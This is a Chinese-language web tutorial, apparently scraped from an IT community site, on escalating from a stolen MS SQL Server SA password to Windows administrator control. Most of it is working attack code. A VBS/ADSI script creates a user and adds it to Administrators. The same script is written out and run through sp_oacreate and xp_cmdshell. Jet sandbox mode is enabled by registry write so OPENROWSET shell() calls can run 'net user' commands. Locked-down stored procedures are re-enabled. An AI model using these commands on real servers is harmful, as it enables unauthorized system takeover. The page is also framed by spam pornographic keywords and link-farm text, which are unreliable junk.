日本搞逼视频_黄色一级片免费在线观看_色99久久_性明星video另类hd_欧美77_综合在线视频

國內最全IT社區平臺 聯系我們 | 收藏本站
阿里云優惠2
您當前位置:首頁 > 數據庫 > Sqlserver > MS SQL Server SA權限最新入侵方法

MS SQL Server SA權限最新入侵方法

來源:程序員人生   發布時間:2013-11-01 03:27:17 閱讀次數:3551次
本文再向大家介紹幾種入侵方法,讀者可以根據情況找出防范辦法。

  在獲得SA密碼后,往往因為服務器管理者或”前人”將net.exe和net1.exe被限制使用,無法添加管理員賬號。我們知道VBS在活動目錄(ADSI)部分有一個winnt對象,用來管理本地資源,利用它可以不依靠CMD等命令就能添加一個管理員,具體代碼如下:

  set wsnetwork=CreateObject("WSCRIPT.NETWORK")

  os="WinNT://"&wsnetwork.ComputerName

  Set ob=GetObject(os) '得到adsi接口,綁定

  Set oe=GetObject(os&"/Administrators,group") '屬性,admin組

  Set od=ob.Create("user","test") '建立用戶

  od.SetPassword "1234" '設置密碼

  od.SetInfo '保存

  Set of=GetObject(os&"/test",user) '得到用戶

  oe.add os&"/test"

  將上面的代碼保存為1.vbs,然后執行,命令為“cscript 1.vbs”,這樣就會在系統添加一個系統名為test,密碼為1234的用戶。具體在查詢分析器執行的代碼如下:

  declare @o int, @f int, @t int, @ret int

  exec sp_oacreate 'scripting.filesystemobject', @o out

  exec sp_oamethod @o, 'createtextfile', @f out, 'c:.vbs', 1

  exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject

  ("WSCRIPT.NETWORK")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.

  ComputerName'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject

  (os&"/Administrators,group")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create

  ("user","test")'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'

  exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject

  (os&"/test",user) '

  exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

  執行完上面的語句,再執行下面這行代碼,這行代碼一定單獨執行,不要與上面的放在一起執行,否則會提示“c:.vbs正被另一個程序運行”而無法成功添加用戶:

  exec master..xp_cmdshell 'cscript c:.vbs'

  如果系統用戶沒有添加成功,有可能是因為系統用戶的密碼1234的太簡單,不符合服務器的復雜密碼策略,可以考慮設置的復雜些,然后再測試一下。也可以使用echo將代碼寫到1.vbs中,代碼格式為:

  exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")

  >>1.vbs'

  不過,不知道為什么所有帶“&”字符的命令行都無法寫入1.vbs,感興趣的朋友可以嘗試解決一下。

  使用jet沙盤模式,可以解決XP_cmdshell等存儲過程和相關動態鏈接庫帶來的煩惱。出于安全原因,系統默認情況下沙盤模式未開啟,這就需要xp_regwrite開啟沙盤模式:

  Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet.0

  Engines','SandBoxMode','REG_DWORD',1

  然后執行沙盤命令,在系統添加一個用戶名為test,密碼為1234的用戶:

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windows

  system32iasias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

  select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windows

  system32iasias.mdb','select shell("cmd.exe /c net localgroup

  administrators test /add")')

  不同的操作系統,路徑也不一樣,需要根據情況做修改:

  NT/2K: c:winntsystem32

  XP/2003: c:windowssystem32

  另外Microsoft SQL Server2005在默認情況下,一些存儲過程是關閉著的,需要命令打開:

  開啟XP_cmdshell:

  EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure

  'xp_cmdshell', 1;RECONFIGURE;

  開啟'OPENROWSET':

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

  'Ad Hoc Distributed Queries',1;RECONFIGURE;

  開啟'sp_oacreate':

  exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure

  'Ole Automation Procedures',1;RECONFIGURE;

生活不易,碼農辛苦
如果您覺得本網站對您的學習有所幫助,可以手機掃描二維碼進行捐贈
程序員人生
------分隔線----------------------------
分享到:
------分隔線----------------------------
關閉
程序員人生
主站蜘蛛池模板: 精品999久久久 | 亚洲不卡在线 | 黄色一级a毛片 | 欧美久久成人 | 性爱视频免费 | 伊人看片 | 欧美国产在线观看 | 国产精品久久久久久久久久久久午夜片 | 性视频在线 | 亚洲小视频 | 亚洲国产精品一区二区久久,亚洲午夜 | 久久青青草av| 91麻豆精品91久久久久久清纯 | 久久久精品一区 | 性久久久久久 | 尤物久久 | 黄色片一级黄色片 | 亚洲视频黄色 | 日韩一区二区三区精品 | 精品一区电影 | 在线va| 国产一区二区三区视频 | 日韩一区二区三区电影 | www.com黄 | 日韩久久av| 色网站女女 | 999这里只有精品 | 99国产精品久久久久久久久久 | 国产成人精品久久二区二区 | 毛片免费观看视频 | 欧美日韩1区2区3区 麻豆视频观看 | 99精品视频在线观看免费 | 国产精品一区二区三区久久 | 国产二区三区在线播放 | 亚洲国产精品一区二区尤物区 | 日韩欧美一级片 | 激情av在线播放 | 九九热在线观看 | 日韩美女在线看免费观看 | 波多野结衣乳巨码无在线观看 | 这里只有精品9 |